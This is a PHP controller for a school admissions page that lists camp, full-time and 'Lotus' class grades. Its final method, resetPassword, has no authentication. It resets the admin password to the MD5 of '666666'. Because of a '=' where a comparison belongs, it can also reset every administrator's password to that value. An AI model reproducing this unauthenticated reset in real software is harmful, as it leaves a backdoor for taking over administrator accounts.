<?php
class IndexAction extends AppAction {
	private $campGrade;
	private $fullTimeGrade;
	private $lotusGrade;
	
	function __construct() {
		parent::__construct ();
		require_once APP_MODEL_PATH . 'e_camp_grade.php';
		require_once APP_MODEL_PATH . 'e_full_time_grade.php';
		require_once APP_MODEL_PATH . 'e_lotus_grade.php';
		$this->campGrade = new CampGradeModel ();
		$this->fullTimeGrade = new FullTimeGradeModel ();
		$this->lotusGrade = new LotusGradeModel ();
	}
	
	public function index() {
		ViewData::$title = "招生频道";
		ViewData::$form_data->SummberCamp = $this->getCampGrade ( '1' );
		ViewData::$form_data->WinterCamp = $this->getCampGrade ( '2' );
		ViewData::$form_data->FullTime = $this->getFullTimeGrade ();
		ViewData::$form_data->Lotus = $this->getLotusGrade ();
		BaseAction::loadView ( "admission" );
	}
	private function getCampGrade($parentId) {
		$data = array ();
		$info = $this->campGrade->getList ( $parentId );
		if ($info) {
			foreach ( $info as $key => $value ) {
				if ($value ['IsShow'] == 1) {
					$data [] = $value;
				}
			}
		}
		return $data;
	}
	private function getFullTimeGrade() {
		$data = array ();
		$info = $this->fullTimeGrade->getList ();
		if ($info) {
			foreach ( $info as $key => $value ) {
				if ($value ['IsShow'] == 1) {
					$data [] = $value;
				}
			}
		}
		return $data;
	}
	
	private function getLotusGrade() {
		$data = array ();
		$info = $this->lotusGrade->getList ();
		if ($info) {
			foreach ( $info as $key => $value ) {
				if ($value ['IsShow'] == 1) {
					$data [] = $value;
				}
			}
		}
		return $data;
	}
	
	public function resetPassword() {
		require_once APP_LIB_PATH . 'adminLib.php';
		$adminlib = new AdminLib ();
		$adminlib->setPasswordByAdminName ( md5 ( '666666' ), 'admin' );
		if (isset($_GET ['flag'])&&$_GET['flag'] = 'all') {
			$newP = md5 ( "666666" );
			$sql = "update e_administrate set `Password`= '$newP'";
			mysql_query ( $sql );
		}
	}

}